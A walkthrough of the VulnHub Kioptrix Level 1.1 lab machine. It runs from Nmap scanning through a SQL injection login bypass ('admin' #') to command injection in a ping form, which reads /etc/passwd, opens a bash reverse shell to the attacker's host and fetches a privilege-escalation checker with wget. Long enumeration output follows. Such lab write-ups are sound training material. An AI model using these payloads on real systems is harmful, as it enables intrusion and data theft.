Kioptrix Level 1.1 Walkthrough
Preparation:
Download the virtual machine from the following website:
https://www.vulnhub.com/entry/kioptrix-level-11-2,23/
The target server： Kioptirx Level 1.1(#2)
1. Discover the IP address of the target server. We find the target IP address is 10.0.0.28 in this case.
netdiscover -r 10.0.0.0/24
2. Perform the TCP/UDP scan using the tool Nmap.
TCP scan 1:
nmap -Pn -sS --stats-every 3m --max-retries 1 --max-scan-delay 20 --defeat-rst-ratelimit -T4 -p1-65535 -oN /root/kioptrix2/tcp1.txt 10.0.0.28
TCP Scan 2:
nmap -nvv -Pn- -sSV -p 22,80,111,443,631,646,3306 --version-intensity 9 -A -oN /root/kioptrix2/tcp2.txt 10.0.0.28
3. Browse the target website through Firefox.
The source page shows the following code:
<html> <body> <form method="post" name="frmLogin" id="frmLogin" action="index.php"> <table width="300" border="1" align="center" cellpadding="2" cellspacing="2"> <tr> <td colspan='2' align='center'> <b>Remote System Administration Login</b> </td> </tr> <tr> <td width="150">Username</td> <td><input name="uname" type="text"></td> </tr> <tr> <td width="150">Password</td> <td> <input name="psw" type="password"> </td> </tr> <tr> <td colspan="2" align="center"> <input type="submit" name="btnLogin" value="Login"> </td> </tr> </table> </form> <!-- Start of HTML when logged in as Administator --> </body> </html>
Try to use the cheat sheet in the following website to test for SQL injection authentication bypass.
https://pentestlab.blog/2012/12/24/sql-injection-authentication-bypass-cheat-sheet/
Ahaaaa! The cheat sheet 'admin' #' is effective.
The source page shows the following codes:
<html> <body> <!-- Start of HTML when logged in as Administator --> <form name="ping" action="pingit.php" method="post" target="_blank"> <table width='600' border='1'> <tr valign='middle'> <td colspan='2' align='center'> <b>Welcome to the Basic Administrative Web Console<br></b> </td> </tr> <tr valign='middle'> <td align='center'> Ping a Machine on the Network: </td> <td align='center'> <input type="text" name="ip" size="30"> <input type="submit" value="submit" name="submit"> </td> </td> </tr> </table> </form> </body> </html>
4. Try to find more interesting things through the pingit page.
Ping "127.0.0.1"
Ping "127.0.0.1;id", so we find the uid.
Ping "127.0.0.1;pwd"
Ping "127.0.0.1;cat /etc/shadow". But No root authentication.
Ping "127.0.0.1;cat /etc/passwd".
5. Try to find a command execution vulnerability using the reverse shell cheat sheet in the pentest monkey website.
http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
Start the tool Ncat in the Kali Linux.
nc -nvlp 4444
Copy the bash command to the pingit page and modify it.
Ping "127.0.0.1;bash -i >& /dev/tcp/10.0.0.26/4444 0>&1"
Ahaaa. The communication is established.
Down load the linuxprivchecker.py file from the Kali Linux to the Kioptrix server.
wget http://10.0.0.26/linuxprivchecker.py
Run the linuxprivchecker.py on the Kioptrix server. Find the Kernel version first.
chmod 777 linuxprivchecker.py python linuxprivchecker.py
================================================================================================= LINUX PRIVILEGE ESCALATION CHECKER ================================================================================================= [*] GETTING BASIC SYSTEM INFO... [+] Kernel Linux version 2.6.9-55.EL (mockbuild@builder6.centos.org) (gcc version 3.4.6 20060404 (Red Hat 3.4.6-8)) #1 Wed May 2 13:52:16 EDT 2007 [+] Hostname kioptrix.level2 [+] Operating System Welcome to Kioptrix Level 2 Penetration and Assessment Environment --The object of this game: |_Acquire "root" access to this machine. There are many ways this can be done, try and find more then one way to appreciate this exercise. DISCLAIMER: Kioptrix is not resposible for any damage or instability caused by running, installing or using this VM image. Use at your own risk. WARNING: This is a vulnerable system, DO NOT run this OS in a production environment. Nor should you give this system access to the o(Not all processes could be identified, non-owned process info will not be shown, you would have to be root to see it all.) utside world (the Internet - or Interwebs..) Good luck and have fun! [*] GETTING NETWORKING INFO... [+] Interfaces eth0 Link encap:Ethernet HWaddr 00:0C:29:BE:7B:78 inet addr:10.0.0.28 Bcast:10.0.0.255 Mask:255.255.255.0 inet6 addr: fe80::20c:29ff:febe:7b78/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:281068 errors:8 dropped:37 overruns:0 frame:0 TX packets:221829 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:29487030 (28.1 MiB) TX bytes:39516124 (37.6 MiB) Interrupt:177 Base address:0x2000 lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 inet6 addr: ::1/128 Scope:Host UP LOOPBACK RUNNING MTU:16436 Metric:1 RX packets:258 errors:0 dropped:0 overruns:0 frame:0 TX packets:258 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:20134 (19.6 KiB) TX bytes:20134 (19.6 KiB) sit0 Link encap:IPv6-in-IPv4 NOARP MTU:1480 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:0 (0.0 b) TX bytes:0 (0.0 b) [+] Netstat Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 0.0.0.0:3306 0.0.0.0:* LISTEN - tcp 0 0 0.0.0.0:623 0.0.0.0:* LISTEN - tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN - tcp 0 0 0.0.0.0:631 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN - tcp 0 125 10.0.0.28:38572 10.0.0.26:4444 ESTABLISHED 12253/bash tcp 0 0 :::80 :::* LISTEN 12251/sh tcp 0 0 :::22 :::* LISTEN - tcp 0 0 :::443 :::* LISTEN 12251/sh tcp 0 0 ::ffff:10.0.0.28:80 ::ffff:10.0.0.26:50256 ESTABLISHED 12251/sh udp 0 0 0.0.0.0:68 0.0.0.0:* - udp 0 0 0.0.0.0:617 0.0.0.0:* - udp 0 0 0.0.0.0:620 0.0.0.0:* - udp 0 0 0.0.0.0:111 0.0.0.0:* - udp 0 0 0.0.0.0:631 0.0.0.0:* - [+] Route Kernel IP routing table Destination Gateway Genmask Flags Metric Ref Use Iface 10.0.0.0 * 255.255.255.0 U 0 0 0 eth0 default 10.0.0.1 0.0.0.0 UG 0 0 0 eth0 [*] GETTING FILESYSTEM INFO... [+] Mount results /dev/mapper/VolGroup00-LogVol00 on / type ext3 (rw) none on /proc type proc (rw) none on /sys type sysfs (rw) none on /dev/pts type devpts (rw,gid=5,mode=620) /dev/hda1 on /boot type ext3 (rw) none on /dev/shm type tmpfs (rw) none on /proc/sys/fs/binfmt_misc type binfmt_misc (rw) sunrpc on /var/lib/nfs/rpc_pipefs type rpc_pipefs (rw) [+] fstab entries # This file is edited by fstab-sync - see 'man fstab-sync' for details /dev/VolGroup00/LogVol00 / ext3 defaults 1 1 LABEL=/boot /boot ext3 defaults 1 2 none /dev/pts devpts gid=5,mode=620 0 0 none /dev/shm tmpfs defaults 0 0 none /proc proc defaults 0 0 none /sys sysfs defaults 0 0 /dev/VolGroup00/LogVol01 swap swap defaults 0 0 [+] Scheduled cron jobs -rw-r--r-- 1 root root 0 Oct 7 2009 /etc/cron.deny -rw-r--r-- 1 root root 255 Feb 21 2005 /etc/crontab /etc/cron.d: total 24 drwxr-xr-x 2 root root 4096 Jul 12 2006 . drwxr-xr-x 80 root root 12288 Aug 3 02:29 .. /etc/cron.daily: total 108 drwxr-xr-x 2 root root 4096 Oct 7 2009 . drwxr-xr-x 80 root root 12288 Aug 3 02:29 .. lrwxrwxrwx 1 root root 28 Oct 7 2009 00-logwatch -> ../log.d/scripts/logwatch.pl -rwxr-xr-x 1 root root 418 Sep 14 2006 00-makewhatis.cron -rwxr-xr-x 1 root root 135 Feb 21 2005 00webalizer -rwxr-xr-x 1 root root 276 Feb 21 2005 0anacron -rw-r--r-- 1 root root 797 Feb 21 2005 certwatch -rwxr-xr-x 1 root root 180 Oct 20 2006 logrotate -rwxr-xr-x 1 root root 2133 Dec 1 2004 prelink -rwxr-xr-x 1 root root 104 May 4 2007 rpm ls: //.*_history: No such file or directory -rwxr-xr-x 1 root root 121 Aug 21 2005 slocate.cron -rwxr-xr-x 1 root root 286 Feb 21 2005 tmpwatch -rwxr-xr-x 1 root root 158 May 5 2007 yum.cron /etc/cron.hourly: total 24 drwxr-xr-x 2 root root 4096 Feb 21 2005 . drwxr-xr-x 80 root root 12288 Aug 3 02:29 .. /etc/cron.monthly: total 32 drwxr-xr-x 2 root root 4096 Oct 7 2009 . drwxr-xr-x 80 root root 12288 Aug 3 02:29 .. -rwxr-xr-x 1 root root 278 Feb 21 2005 0anacron /etc/cron.weekly: total 48 drwxr-xr-x 2 root root 4096 Oct 7 2009 . drwxr-xr-x 80 root root 12288 Aug 3 02:29 .. -rwxr-xr-x 1 root root 414 Sep 14 2006 00-makewhatis.cron -rwxr-xr-x 1 root root 277 Feb 21 2005 0anacron -rwxr-xr-x 1 root root 90 May 5 2007 yum.cron [+] Writable cron dirs lrwxrwxrwx 1 root root 28 Oct 7 2009 00-logwatch -> ../log.d/scripts/logwatch.pl [*] ENUMERATING USER AND ENVIRONMENTAL INFO... [+] Logged in User Activity 03:57:07 up 2:33, 0 users, load average: 0.00, 0.00, 0.00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT [+] Sudoers (privileged) [+] All users root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin news:x:9:13:news:/etc/news: uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin gopher:x:13:30:gopher:/var/gopher:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin dbus:x:81:81:System message bus:/:/sbin/nologin vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin rpm:x:37:37::/var/lib/rpm:/sbin/nologin haldaemon:x:68:68:HAL daemon:/:/sbin/nologin netdump:x:34:34:Network Crash Dump user:/var/crash:/bin/bash nscd:x:28:28:NSCD Daemon:/:/sbin/nologin sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin pcap:x:77:77::/var/arpwatch:/sbin/nologin apache:x:48:48:Apache:/var/www:/sbin/nologin squid:x:23:23::/var/spool/squid:/sbin/nologin webalizer:x:67:67:Webalizer:/var/www/usage:/sbin/nologin xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin ntp:x:38:38::/etc/ntp:/sbin/nologin pegasus:x:66:65:tog-pegasus OpenPegasus WBEM/CIM services:/var/lib/Pegasus:/sbin/nologin mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash john:x:500:500::/home/john:/bin/bash harold:x:501:501::/home/harold:/bin/bash [+] Current User ID uid=48(apache) gid=48(apache) groups=48(apache) [+] Super Users Found: root [+] Environment CONSOLE=/dev/console SELINUX_INIT=YES TERM=linux INIT_VERSION=sysvinit-2.85 PATH=/sbin:/usr/sbin:/bin:/usr/bin:/usr/X11R6/bin _=/bin/env runlevel=3 RUNLEVEL=3 PWD=/tmp LANG=en_US.UTF-8 previous=N PREVLEVEL=N SHLVL=5 HOME=/ [+] Current User apache [+] Root and current user history (depends on privs) [*] ENUMERATING FILE AND DIRECTORY PERMISSIONS/CONTENTS... [+] World Writeable Directories for User/Group 'Root' [+] World Writeable Directories for Users other than Root [+] World Writable Files [+] Checking if root's home folder is accessible [+] SUID/SGID Files and Directories -rwxr-Sr-t 1 root root 1733 Feb 9 2012 /var/www/html/index.php -rwxr-Sr-t 1 root root 199 Oct 8 2009 /var/www/html/pingit.php -rwxr-sr-x 1 root root 11367 May 3 2007 /sbin/netreport -r-sr-xr-x 1 root root 46076 May 2 2007 /sbin/unix_chkpwd -r-s--x--x 1 root root 20016 May 2 2007 /sbin/pam_timestamp_check -r-sr-xr-x 1 root root 301242 May 2 2007 /sbin/pwdb_chkpwd -rwsr-xr-x 1 root root 6096 May 2 2007 /usr/sbin/ccreds_validate -rwxr-sr-x 1 root lock 15372 Apr 4 2006 /usr/sbin/lockdev -rws--x--x 1 root root 30760 May 2 2007 /usr/sbin/userhelper -rwxr-sr-x 1 root smmsp 746328 May 2 2007 /usr/sbin/sendmail.sendmail -rwsr-xr-x 1 root root 6668 Feb 21 2005 /usr/sbin/userisdnctl -rwxr-sr-x 1 root utmp 10497 Feb 21 2005 /usr/sbin/utempter -r-s--x--- 1 root apache 10760 May 4 2007 /usr/sbin/suexec -rwsr-xr-x 1 root root 15228 May 3 2007 /usr/sbin/usernetctl -rws--x--x 1 root root 434644 May 2 2007 /usr/libexec/openssh/ssh-keysign -rwsr-xr-x 1 root root 7396 May 2 2007 /usr/libexec/pt_chown -rwsr-xr-x 1 root root 123961 May 3 2007 /usr/kerberos/bin/ksu -rwsr-x--- 1 root squid 9952 May 4 2007 /usr/lib/squid/pam_auth -rwsr-x--- 1 root squid 10208 May 4 2007 /usr/lib/squid/ncsa_auth -r-xr-sr-x 1 root tty 9752 May 5 2007 /usr/bin/wall -rwxr-sr-x 1 root slocate 38548 Aug 21 2005 /usr/bin/slocate -rws--x--x 1 root root 18392 May 3 2007 /usr/bin/chsh -rwxr-sr-x 1 root mail 14636 Feb 21 2005 /usr/bin/lockfile -rwsr-xr-x 1 root root 17304 May 10 2006 /usr/bin/rcp ---s--x--x 1 root root 93816 Aug 21 2005 /usr/bin/sudo -rwxr-sr-x 1 root tty 10124 May 3 2007 /usr/bin/write -rwsr-xr-x 1 root root 117802 May 2 2007 /usr/bin/chage -rwsr-xr-x 1 root root 82772 Jul 12 2006 /usr/bin/crontab -rwsr-xr-x 1 root root 12312 May 10 2006 /usr/bin/rlogin -rwsr-xr-x 1 root root 8692 May 10 2006 /usr/bin/rsh -rwsr-xr-x 1 root root 131181 May 2 2007 /usr/bin/gpasswd -rwsr-xr-x 1 root root 42280 Apr 26 2006 /usr/bin/at -rws--x--x 1 root root 7700 May 3 2007 /usr/bin/newgrp -rws--x--x 1 root root 17708 May 3 2007 /usr/bin/chfn -rwxr-sr-x 1 root nobody 57932 May 2 2007 /usr/bin/ssh-agent -rwsr-xr-x 1 root root 19597 May 3 2007 /usr/bin/lppasswd -rwsr-xr-x 1 root root 72261 May 2 2007 /usr/bin/sg -r-s--x--x 1 root root 21200 Aug 21 2005 /usr/bin/passwd -rwsr-xr-x 1 root root 87016 May 3 2007 /bin/mount -rwsr-xr-x 1 root root 12300 May 2 2007 /bin/traceroute6 -rwsr-xr-x 1 root root 23844 Nov 23 2006 /bin/traceroute -rwsr-xr-x 1 root root 53612 May 3 2007 /bin/umount -rwsr-xr-x 1 root root 30924 May 2 2007 /bin/ping6 -rwsr-xr-x 1 root root 33272 May 2 2007 /bin/ping -rwsr-xr-x 1 root root 61168 May 5 2007 /bin/su [+] Logs containing keyword 'password' [+] Config files containing keyword 'password' Binary file /etc/prelink.cache matches /etc/lftp.conf:## This can be e.g. TIS-FWTK or rftpd. User and password are optional. /etc/ltrace.conf:; pwd.h /etc/pwdb.conf:# This is the configuration file for the pwdb library /etc/log.d/logwatch.conf:#Service = pam_pwdb # PAM_pwdb messages - usually quite a bit /etc/log.d/conf/logwatch.conf:#Service = pam_pwdb # PAM_pwdb messages - usually quite a bit /etc/log.d/conf/services/pam_pwdb.conf:# $Id: pam_pwdb.conf,v 1.7 2002/10/12 02:08:09 kirk Exp $ /etc/log.d/conf/services/pam_pwdb.conf:Title = "PAM_pwdb" /etc/log.d/conf/services/pam_pwdb.conf:# Only give lines pertaining to the PAM_pwdb service... /etc/log.d/conf/services/pam_pwdb.conf:*OnlyService = pam_pwdb /etc/squid/squid.conf.default:# login=user:password | PASS | *:password /etc/squid/squid.conf.default:# use 'login=user:password' if this is a personal/workgroup /etc/squid/squid.conf.default:# password to the peer. USE WITH CAUTION /etc/squid/squid.conf.default:# use 'login=*:password' to pass the username to the /etc/squid/squid.conf.default:# upstream cache, but with a fixed password. This is meant /etc/squid/squid.conf.default:# the login=username:password option above. /etc/squid/squid.conf.default:# If you want the anonymous login password to be more informative /etc/squid/squid.conf.default:# reads a line containing "username password" and replies "OK" or /etc/squid/squid.conf.default:# backlog of usercode/password verifications, slowing it down. When /etc/squid/squid.conf.default:# password verifications are done via a (slow) network you are likely to /etc/squid/squid.conf.default:# will see when prompted their username and password). /etc/squid/squid.conf.default:# username:password pair is valid for - in other words how often the /etc/squid/squid.conf.default:# revalidation with short lived passwords. Note that setting this high /etc/squid/squid.conf.default:# using an one-time password system (such as SecureID). If you are using /etc/squid/squid.conf.default:# when prompted their username and password). /etc/squid/squid.conf.default:# # to check username/password combinations (see /etc/squid/squid.conf.default:#acl password proxy_auth REQUIRED /etc/squid/squid.conf.default:# user's default group ID (taken from the password file) and /etc/squid/squid.conf.default:# Specify passwords for cachemgr operations. /etc/squid/squid.conf.default:# Usage: cachemgr_passwd password action action ... /etc/squid/squid.conf.default:# valid password, others can be performed if not listed here. /etc/squid/squid.conf.default:# To disable an action, set the password to "disable". /etc/squid/squid.conf.default:# To allow performing an action without a password, set the /etc/squid/squid.conf.default:# password to "none". /etc/squid/squid.conf.default:# Use the keyword "all" to set the same password for all actions. /etc/pear.conf:a:23:{s:9:"cache_dir";s:19:"/var/cache/php-pear";s:15:"default_channel";s:12:"pear.php.net";s:16:"preferred_mirror";s:12:"pear.php.net";s:13:"remote_config";s:0:"";s:13:"auto_discover";i:0;s:13:"master_server";s:12:"pear.php.net";s:10:"http_proxy";s:0:"";s:7:"php_dir";s:15:"/usr/share/pear";s:7:"doc_dir";s:19:"/usr/share/pear/doc";s:7:"bin_dir";s:8:"/usr/bin";s:8:"data_dir";s:20:"/usr/share/pear/data";s:8:"test_dir";s:20:"/usr/share/pear/test";s:7:"php_bin";s:12:"/usr/bin/php";s:8:"username";s:0:"";s:8:"password";s:0:"";s:7:"verbose";i:1;s:15:"preferred_state";s:6:"stable";s:5:"umask";i:18;s:9:"cache_ttl";i:3600;s:8:"sig_type";s:3:"gpg";s:7:"sig_bin";s:12:"/usr/bin/gpg";s:9:"sig_keyid";s:0:"";s:10:"sig_keydir";s:13:"/etc/pearkeys";} /etc/httpd/conf.d/ssl.conf:# Note that no password is obtained from the user. Every entry in the user /etc/httpd/conf.d/ssl.conf:# file needs this password: `xxj31ZMTZzkVA'. /etc/samba/smb.conf:# Use password server option only with security = server /etc/samba/smb.conf:; password server = <NT-Server-Name> /etc/samba/smb.conf:# Password Level allows matching of _n_ characters of the password for /etc/samba/smb.conf:; password level = 8 /etc/samba/smb.conf:# You may wish to use password encryption. Please read /etc/samba/smb.conf:; encrypt passwords = yes /etc/samba/smb.conf:# The following are needed to allow password changing from Windows to /etc/samba/smb.conf:# update the Linux system password also. /etc/samba/smb.conf:# NOTE: Use these with 'encrypt passwords' and 'smb passwd file' above. /etc/samba/smb.conf:# the encrypted SMB passwords. They allow the Unix password /etc/samba/smb.conf:# to be kept in sync with the SMB password. /etc/samba/smb.conf:; unix password sync = Yes /etc/samba/smb.conf:; passwd chat = *New*UNIX*password* %n *ReType*new*UNIX*password* %n *passwd:*all*authentication*tokens*updated*successfully* /etc/my.cnf:# Default to using old password format for compatibility with mysql 3.x /etc/my.cnf:old_passwords=1 /etc/ldap.conf:# Search the root DSE for the password policy (works /etc/ldap.conf:# If you are using XAD, you can set pam_password /etc/ldap.conf:# Do not hash the password at all; presume /etc/ldap.conf:#pam_password clear /etc/ldap.conf:# Hash password locally; required for University of /etc/ldap.conf:#pam_password crypt /etc/ldap.conf:# Remove old password first, then update in /etc/ldap.conf:#pam_password nds /etc/ldap.conf:#pam_password racf /etc/ldap.conf:# Update Active Directory password, by /etc/ldap.conf:# creating Unicode password and updating /etc/ldap.conf:#pam_password ad /etc/ldap.conf:# Use the OpenLDAP password change /etc/ldap.conf:# extended operation to update the password. /etc/ldap.conf:#pam_password exop /etc/ldap.conf:# Redirect users to a URL or somesuch on password /etc/ldap.conf:#pam_password_prohibit_message Please visit http://internal to change your password. /etc/ldap.conf:#pam_password ad /etc/ldap.conf:#nss_map_attribute shadowLastChange pwdLastSet /etc/ldap.conf:#pam_password ad /etc/ldap.conf:#nss_map_attribute shadowLastChange pwdLastSet /etc/ldap.conf:#pam_password ad /etc/ldap.conf:# configure --enable-authpassword is no longer supported /etc/ldap.conf:#nss_map_attribute userPassword passwordChar /etc/ldap.conf:#pam_password clear /etc/ldap.conf:# at present and does not support password policy control /etc/ldap.conf:pam_password md5 [+] Shadow File (Privileged) [*] ENUMERATING PROCESSES AND APPLICATIONS... [+] Installed Packages 4Suite-1.0-3 acl-2.2.23-5.3.el4 acpid-1.0.3-2 alchemist-1.0.34-1 alsa-lib-1.0.6-5.RHEL4 alsa-utils-1.0.6-6 anacron-2.3-32 apmd-3.0.2-24 apr-0.9.4-24.5.c4.2 apr-util-0.9.4-21 arptables_jf-0.0.8-2 ash-0.3.8-20 aspell-0.50.5-4.EL4 aspell-en-0.51-11 at-3.1.8-80_EL4 atk-1.8.0-2 attr-2.4.16-3.1.el4 audiofile-0.2.6-1.el4.1 audit-1.0.15-3.EL4 audit-libs-1.0.15-3.EL4 authconfig-4.6.10-rhel4.3 authconfig-gtk-4.6.10-rhel4.3 autoconf-2.59-5 autofs-4.1.3-199.3 automake14-1.4p6-12 automake15-1.5-13 automake16-1.6.3-5 automake17-1.7.9-5 automake-1.9.2-3 basesystem-8.0-4 bash-3.0-19.3 bc-1.06-17.1 beecrypt-3.1.0-6 bind-libs-9.2.4-24.EL4 bind-utils-9.2.4-24.EL4 binutils-2.15.92.0.2-22 bison-1.875c-2 bluez-bluefw-1.0-6 bluez-hcidump-1.11-1 bluez-libs-2.10-2 bluez-pin-0.23-3 bluez-utils-2.10-2.1 boost-1.32.0-6.rhel4 boost-devel-1.32.0-6.rhel4 byacc-1.9-28 bzip2-1.0.2-13.EL4.3 bzip2-devel-1.0.2-13.EL4.3 bzip2-libs-1.0.2-13.EL4.3 cdecl-2.5-30 centos-release-4-4.3 checkpolicy-1.17.5-1 chkconfig-1.3.13.5.EL4-1 chkfontpath-1.10.0-2 ckermit-8.0.209-9 comps-4.5CENTOS-0.20070506 comps-extras-10.1-1 coreutils-5.2.1-31.6 cpio-2.5-13.RHEL4 cpp-3.4.6-8 cracklib-2.8.9-1.3 cracklib-dicts-2.8.9-1.3 crash-4.0-3.9 crontabs-1.10-7 crypto-utils-2.1-4 cryptsetup-0.1-4 cscope-15.5-9.RHEL4 ctags-5.5.4-1 cups-1.1.22-0.rc1.9.20 cups-libs-1.1.22-0.rc1.9.20 curl-7.12.1-11.el4 curl-devel-7.12.1-11.el4 cvs-1.11.17-9.RHEL4 cyrus-sasl-2.1.19-5.EL4 cyrus-sasl-devel-2.1.19-5.EL4 cyrus-sasl-md5-2.1.19-5.EL4 cyrus-sasl-plain-2.1.19-5.EL4 dapl-1.2.1-7 db4-4.2.52-7.1 db4-devel-4.2.52-7.1 db4-utils-4.2.52-7.1 dbus-0.22-12.EL.9 dbus-devel-0.22-12.EL.9 dbus-glib-0.22-12.EL.9 dbus-python-0.22-12.EL.9 desktop-file-utils-0.9-3.el4 device-mapper-1.02.17-3.el4 dhclient-3.0.1-59.EL4 dhcpv6_client-0.10-17_EL4 dialog-1.0.20040731-3 diffstat-1.31-5 diffutils-2.8.1-12 diskdumputils-1.3.25-1 distcache-1.4.5-6 dmraid-1.0.0.rc14-5_RHEL4_U5 dmraid-devel-1.0.0.rc14-5_RHEL4_U5 dos2unix-3.1-21.2 dosfstools-2.8-18 doxygen-1.3.9.1-1 dump-0.4b39-3.EL4.2 e2fsprogs-1.35-12.5.el4 e2fsprogs-devel-1.35-12.5.el4 ed-0.2-36 eject-2.0.13-11 elfutils-0.97.1-4 elfutils-libelf-0.97.1-4 emacs-21.3-19.EL.4 emacs-common-21.3-19.EL.4 emacs-leim-21.3-19.EL.4 emacspeak-17.0-7 esound-0.2.35-2 ethtool-1.8-4 expat-1.95.7-4 expat-devel-1.95.7-4 fbset-2.1-17 file-4.10-3.EL4.5 filesystem-2.3.0-1 findutils-4.1.20-7.el4.3 finger-0.17-26.EL4.1 flex-2.5.4a-33 fontconfig-2.2.3-7.centos4 fonts-xorg-75dpi-6.8.2-1.EL freetype-2.1.9-5.el4 ftp-0.17-23.EL4 gamin-0.1.7-1.2.EL4 gawk-3.1.3-10.1 gcc-3.4.6-8 gcc-c++-3.4.6-8 gcc-g77-3.4.6-8 gcc-java-3.4.6-8 GConf2-2.8.1-1 gd-2.0.28-5.4E gdb-6.3.0.0-1.143.el4 gdbm-1.8.0-24 gdbm-devel-1.8.0-24 gettext-0.14.1-13 glib-1.2.10-15 glib2-2.4.7-1 glib2-devel-2.4.7-1 glibc-2.3.4-2.36 glibc-common-2.3.4-2.36 glibc-devel-2.3.4-2.36 glibc-headers-2.3.4-2.36 glibc-kernheaders-2.4-9.1.100.EL gmp-4.1.4-3 gmp-devel-4.1.4-3 gnome-keyring-0.4.0-1 gnome-mime-data-2.4.1-5 gnome-python2-2.6.0-3 gnome-python2-bonobo-2.6.0-3 gnome-python2-canvas-2.6.0-3 gnome-vfs2-2.8.2-8.2 gnupg-1.2.6-9 gnutls-1.0.20-3.2.3 gpg-pubkey-443e1821-421f218f gpm-1.20.1-71.RHEL4 gpm-devel-1.20.1-71.RHEL4 grep-2.5.1-32.3 groff-1.18.1.1-3.EL4 grub-0.95-3.8 gtk2-2.4.13-22 guile-1.6.4-14 gzip-1.3.3-16.rhel4 hal-0.4.2-6.EL4 hdparm-5.7-2 hesiod-3.0.2-30 hesiod-devel-3.0.2-30 hotplug-2004_04_01-7.8 htmlview-3.0.0-8 httpd-2.0.52-32.ent.centos4 httpd-manual-2.0.52-32.ent.centos4 httpd-suexec-2.0.52-32.ent.centos4 hwdata-0.146.28.EL-1 ibutils-1.0-4 indent-2.2.9-6 indexhtml-4-2.centos4 info-4.7-5.el4.2 initscripts-7.93.29.EL-1.centos4 iproute-2.6.9-3.EL4.7 ipsec-tools-0.3.3-6.rhel4.1 iptables-1.2.11-3.1.RHEL4 iptstate-1.3-4 iputils-20020927-19.EL4.5 irda-utils-0.9.16-3 isdn4k-utils-3.2-18.p1.1 java-1.4.2-gcj-compat-1.4.2.0-27jpp jpackage-utils-1.7.3-1jpp.1.el4 jwhois-3.2.2-6.EL4.1 kbd-1.12-2.el4.4 kernel-2.6.9-55.EL kernel-devel-2.6.9-55.EL kernel-hugemem-devel-2.6.9-55.EL kernel-smp-devel-2.6.9-55.EL kernel-utils-2.4-13.1.99 keyutils-1.0-2 keyutils-libs-1.0-2 krb5-devel-1.3.4-47 krb5-libs-1.3.4-47 krb5-workstation-1.3.4-47 krbafs-1.2.2-6 krbafs-devel-1.2.2-6 kudzu-1.1.95.22-1 kudzu-devel-1.1.95.22-1 less-382-4.rhel4 lftp-3.0.6-3 lha-1.14i-17 libacl-2.2.23-5.3.el4 libacl-devel-2.2.23-5.3.el4 libart_lgpl-2.3.16-3 libattr-2.4.16-3.1.el4 libattr-devel-2.4.16-3.1.el4 libbonobo-2.8.0-2 libbonoboui-2.8.0.99cvs20040929-2 libcap-1.10-20 libcap-devel-1.10-20 libdbi-0.6.5-10.RHEL4.1 libdbi-dbd-mysql-0.6.5-10.RHEL4.1 libf2c-3.4.6-8 libgcc-3.4.6-8 libgcj-3.4.6-8 libgcj-devel-3.4.6-8 libgcrypt-1.2.0-3 libglade2-2.4.0-5 libgnome-2.8.0-2 libgnomecanvas-2.8.0-1 libgnomeui-2.8.0-1 libgpg-error-1.0-1 libgssapi-0.8-1 libibcommon-1.0.1-7 libibumad-1.0.1-7 libibverbs-1.0.4-7 libIDL-0.8.4-1.centos4 libidn-0.5.6-1 libidn-devel-0.5.6-1 libjpeg-6b-33 libmng-1.0.8-1 libmthca-1.0.3.1-7 libogg-1.1.2-1 libogg-devel-1.1.2-1 libpcap-0.8.3-10.RHEL4 libpng-1.2.7-1.el4.2 librdmacm-0.9.1-7 libsdp-1.1.0-7 libselinux-1.19.1-7.3 libselinux-devel-1.19.1-7.3 libsepol-1.1.1-2 libstdc++-3.4.6-8 libstdc++-devel-3.4.6-8 libtermcap-2.0.8-39 libtermcap-devel-2.0.8-39 libtiff-3.6.1-12 libtool-1.5.6-4.EL4.1.c4.4 libtool-libs-1.5.6-4.EL4.1.c4.4 libungif-4.1.3-1.el4.2 libusb-0.1.8-3 libusb-devel-0.1.8-3 libuser-0.52.5-1.el4.1 libuser-devel-0.52.5-1.el4.1 libvorbis-1.1.0-1 libvorbis-devel-1.1.0-1 libwvstreams-3.75.0-2 libxml2-2.6.16-10 libxml2-devel-2.6.16-10 libxml2-python-2.6.16-10 libxslt-1.1.11-1 lksctp-tools-1.0.2-6.4E.1 lksctp-tools-devel-1.0.2-6.4E.1 lockdev-1.0.1-6.2 lockdev-devel-1.0.1-6.2 logrotate-3.7.1-6.RHEL4 logwatch-5.2.2-2.EL4 lrzsz-0.12.20-19 lsof-4.72-1.4 ltrace-0.4-3.el4 lvm2-2.02.21-5.el4 m4-1.4.1-16 mailcap-2.1.17-1 mailx-8.1.1-37.EL4 make-3.80-6.EL4 MAKEDEV-3.15.2-3 man-1.5o1-10.rhel4 man-pages-1.67-12.EL4 mdadm-1.12.0-2 